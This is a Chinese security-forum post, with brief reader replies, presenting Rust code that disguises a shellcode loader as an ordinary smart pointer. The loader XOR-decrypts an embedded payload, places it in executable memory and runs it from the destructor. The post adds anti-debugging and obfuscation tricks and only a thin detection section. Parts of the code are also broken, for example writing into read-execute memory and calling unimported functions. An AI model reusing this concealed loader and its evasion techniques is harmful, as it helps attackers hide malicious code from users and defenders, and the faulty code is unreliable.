[原创]Rust核心特性所有权劫持注入-编程技术-看雪安全社区

```rust
use std::ops::{Deref, DerefMut};
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};

// 加密的 Shellcode 示例（实际使用需替换为有效载荷）
const ENCRYPTED_PAYLOAD: [u8; 12] = [
    0xDE, 0xAD, 0xBE, 0xEF, // 幻数头
    0x78, 0x56, 0x34, 0x12, // 加密载荷
    0x90, 0x90, 0x90, 0x90, // NOP 雪橇
];

struct GhostPointer<T> {
    data: *mut T,
    key: u8,            // 解密密钥
    payload: Vec<u8>,   // 加密的载荷
    executed: bool,     // 确保只执行一次
}

impl<T> GhostPointer<T> {
    /// 创建新的智能指针（表面是普通内存分配）
    pub fn new(value: T) -> Self {
        // 分配内存（使用系统API绕过Rust内存管理）
        let ptr = unsafe {
            VirtualAlloc(
                ptr::null_mut(),
                std::mem::size_of::<T>(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE,
            ) as *mut T
        };

// 写入数据
        unsafe { ptr.write(value) };

// 初始化时解密载荷（示例使用简单异或加密）
        let mut payload = ENCRYPTED_PAYLOAD.to_vec();
        let key = 0xA5; // 示例密钥
        for byte in &mut payload {
            *byte ^= key;
        }

Self {
            data: ptr,
            key,
            payload,
            executed: false,
        }
    }

/// 隐蔽的内存准备方法
    fn ghost_prepare(&mut self) {
        if self.executed {
            return;
        }

unsafe {
            // 分配可执行内存
            let exec_region = VirtualAlloc(
                ptr::null_mut(),
                self.payload.len(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READ,
            );

// 复制解密后的载荷
            ptr::copy_nonoverlapping(
                self.payload.as_ptr(),
                exec_region as *mut u8,
                self.payload.len(),
            );

// 修改当前指针指向可执行区域
            self.data = exec_region as *mut T;
            self.executed = true;
        }
    }
}

impl<T> Deref for GhostPointer<T> {
    type Target = T;

fn deref(&self) -> &T {
        unsafe { &*self.data }
    }
}

impl<T> DerefMut for GhostPointer<T> {
    fn deref_mut(&mut self) -> &mut T {
        unsafe { &mut *self.data }
    }
}

impl<T> Drop for GhostPointer<T> {
    fn drop(&mut self) {
        unsafe {
            // 触发隐蔽操作
            self.ghost_prepare();

// 构造函数指针
            let func_ptr: fn() = std::mem::transmute(self.data);
            
            // 执行载荷（示例为简单调用）
            func_ptr();

// 释放内存（实际使用可能需要持久化）
            VirtualFree(self.data as *mut _, 0, MEM_RELEASE);
        }
    }
}

// 使用示例
fn main() {
    // 表面上是普通指针使用
    let mut ghost = GhostPointer::new(42);
    println!("Normal usage: {}", *ghost); // 正常访问
    
    *ghost = 100; // 正常修改
    
    // 当 ghost 离开作用域时触发隐蔽操作
}
```

### 技术原理分步解析

1. **智能指针伪装**：
   - 结构体`GhostPointer`模仿Rust标准`Box`的行为
   - 实现`Deref`和`DerefMut`以支持常规指针操作
   - 使用Windows原生API分配内存，绕过Rust的内存安全机制

2. **加密载荷存储**：
   - 静态加密存储Shellcode（示例使用简单异或加密）
   - 运行时动态解密（`ghost_prepare`方法）
   - 内存中不保留明文的恶意代码

3. **所有权劫持机制**：
   ```rust
   impl<T> Drop for GhostPointer<T> {
       fn drop(&mut self) {
           // 析构时触发隐蔽操作
       }
   }
   ```
   - 利用Rust的自动析构机制
   - 在对象生命周期结束时触发恶意代码
   - 正常代码中看不到显式的恶意调用

4. **内存操作技巧**：
   - 分阶段内存分配（先RW后RX权限）
   - 使用系统API直接操作内存：
   ```rust
   VirtualAlloc(..., PAGE_EXECUTE_READ)
   ```
   - 执行前复制解密后的代码到可执行区域

5. **隐蔽执行流程**：
   - 表面是普通数据指针的使用
   - 通过析构函数触发攻击链：
   ```
   用户操作 -> 对象创建 -> 正常使用 -> 离开作用域 
     -> 自动调用drop() -> 准备载荷 -> 执行
   ```

### 高级对抗技巧

1. **动态密钥生成**：
   ```rust
   // 使用系统信息生成动态密钥
   fn generate_key() -> u8 {
       unsafe {
           let mut tick = 0;
           winapi::um::sysinfoapi::GetTickCount(&mut tick);
           (tick % 256) as u8
       }
   }
   ```

2. **内存混淆技术**：
   ```rust
   // 填充随机内存内容
   fn pad_memory(ptr: *mut u8, size: usize) {
       let mut rng = rand::thread_rng();
       for i in 0..size {
           unsafe {
               ptr.add(i).write(rng.gen::<u8>());
           }
       }
   }
   ```

3. **反调试检测**：
   ```rust
   fn anti_debug() -> bool {
       unsafe {
           let mut is_debugger = 0;
           winapi::um::debugapi::CheckRemoteDebuggerPresent(
               winapi::um::processthreadsapi::GetCurrentProcess(),
               &mut is_debugger
           );
           is_debugger != 0
       }
   }
   ```

### 防御检测方案

1. **行为监控**：
   - 检测`VirtualAlloc` + `VirtualProtect`的调用模式
   - 监控非标准智能指针的析构行为

2. **内存分析**：
   ```rust
   // 扫描可疑的可执行内存区域
   fn scan_exec_regions() {
       let mut mbi: MEMORY_BASIC_INFORMATION = unsafe { std::mem::zeroed() };
       let mut addr = 0 as _;
       
       while unsafe { VirtualQuery(addr, &mut mbi, std::mem::size_of::<MEMORY_BASIC_INFORMATION>()) } != 0 {
           if mbi.Protect & PAGE_EXECUTE_READWRITE != 0 {
               // 记录可疑区域
           }
           addr = (addr as usize + mbi.RegionSize) as _;
       }
   }
   ```

3. **类型系统防护**：
   ```rust
   // 自定义属性检测可疑的Drop实现
   #[proc_macro_derive(SecureDrop)]
   fn secure_drop_derive(input: TokenStream) -> TokenStream {
       // 分析析构函数中的危险操作
   }
   ```

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

#HOOK/注入 #开源分享 #开发技巧

最新回复 (35) 1 2 ▶
mb_ldbucrik 雪币： 6 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 707 粉丝 7 关注私信	mb_ldbucrik 2 楼感谢分享 2025-4-17 08:38 0
fujing 雪币： 4182 活跃值： (6569) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 142 粉丝 4 关注私信	fujing 3 楼感谢分享 2025-4-19 11:12 0
Zero~ 雪币： 50 活跃值： (1860) 能力值： ( LV2，RANK：15 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	Zero~ 4 楼 11111111111 2025-5-3 15:13 0
萌哒的小玉玉雪币： 22 活跃值： (232) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	萌哒的小玉玉 5 楼感谢分享 2025-5-3 18:48 0
治愈ckt 雪币： 1225 活跃值： (849) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 18 粉丝 0 关注私信	治愈ckt 6 楼 omg 真的很强 2025-5-5 11:06 0
绿林科技雪币： 19 活跃值： (448) 能力值： ( LV2，RANK：10 ) 在线值：发帖 8 回帖 81 粉丝 5 关注私信	绿林科技 7 楼谢谢分享！ 2025-5-5 11:50 0
smile1110 雪币： 283 活跃值： (756) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 43 粉丝 1 关注私信	smile1110 8 楼谢谢你 2025-5-8 14:42 0
~时光荏苒雪币： 6843 活跃值： (6713) 能力值： ( LV2，RANK：10 ) 在线值：发帖 12 回帖 206 粉丝 5 关注私信	~时光荏苒 9 楼谢谢分享！ 2025-5-9 21:48 0
Kokoi 雪币： 226 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 11 粉丝 0 关注私信	Kokoi 10 楼感谢分享 2025-5-24 13:13 0
mb_rppgkigl 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_rppgkigl 11 楼太强了 2025-5-30 16:12 0
mb_llakvlta 雪币： 25 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 45 粉丝 0 关注私信	mb_llakvlta 12 楼 omg 真的很强 2025-6-12 18:49 0
小白养的菜鸡雪币： 2258 活跃值： (5121) 能力值： ( LV3，RANK：30 ) 在线值：发帖 4 回帖 55 粉丝 43 关注私信	小白养的菜鸡 13 楼 1 2025-6-13 12:40 0
mb_pxdkpjwh 雪币： 193 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 14 粉丝 0 关注私信	mb_pxdkpjwh 14 楼 1 2025-6-18 13:35 0
好听的网名雪币： 2888 活跃值： (3463) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 37 粉丝 0 关注私信	好听的网名 15 楼感谢大佬 2025-6-24 16:20 0
zz胡雪币： 1049 活跃值： (1869) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 103 粉丝 1 关注私信	zz胡 16 楼感谢分享 2025-6-24 20:41 0
mb_cizqyhuh 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 81 粉丝 1 关注私信	mb_cizqyhuh 17 楼感谢分享，很有深度！附上整理知识脉络的思维导图，更好地吸收与回顾。最后于 2025-7-3 14:56 被mb_cizqyhuh编辑，原因： 2025-7-3 14:46 0
jyotidwi 雪币： 1358 能力值： ( LV1，RANK：0 ) 在线值：发帖 3 回帖 121 粉丝 3 关注私信	jyotidwi 18 楼 666666 2025-8-10 14:14 0
byhk 雪币： 2734 活跃值： (8968) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 206 粉丝 1 关注私信	byhk 19 楼谢谢分享 2025-9-19 07:47 0
linix 雪币： 2051 活跃值： (2286) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 66 粉丝 1 关注私信	linix 20 楼感谢大佬分享 2025-9-19 08:52 0
Netangle 雪币： 250 活跃值： (294) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 62 粉丝 0 关注私信	Netangle 21 楼谢谢分享 2025-10-11 22:59 0
mb_tkvofqfb 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_tkvofqfb 22 楼感谢分享 2025-11-8 18:12 0
kai741101314 雪币： 188 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 29 粉丝 0 关注私信	kai741101314 23 楼太强了 2025-11-12 02:47 0
mb_ysegxpmv 雪币： 2248 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 118 粉丝 0 关注私信	mb_ysegxpmv 24 楼太强了 2025-11-14 16:21 0
一颗金柚子雪币： 2964 活跃值： (2153) 能力值： ( LV6，RANK：80 ) 在线值：发帖 20 回帖 31 粉丝 140 关注私信	一颗金柚子 1 25 楼看看~ 2025-12-14 20:56 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复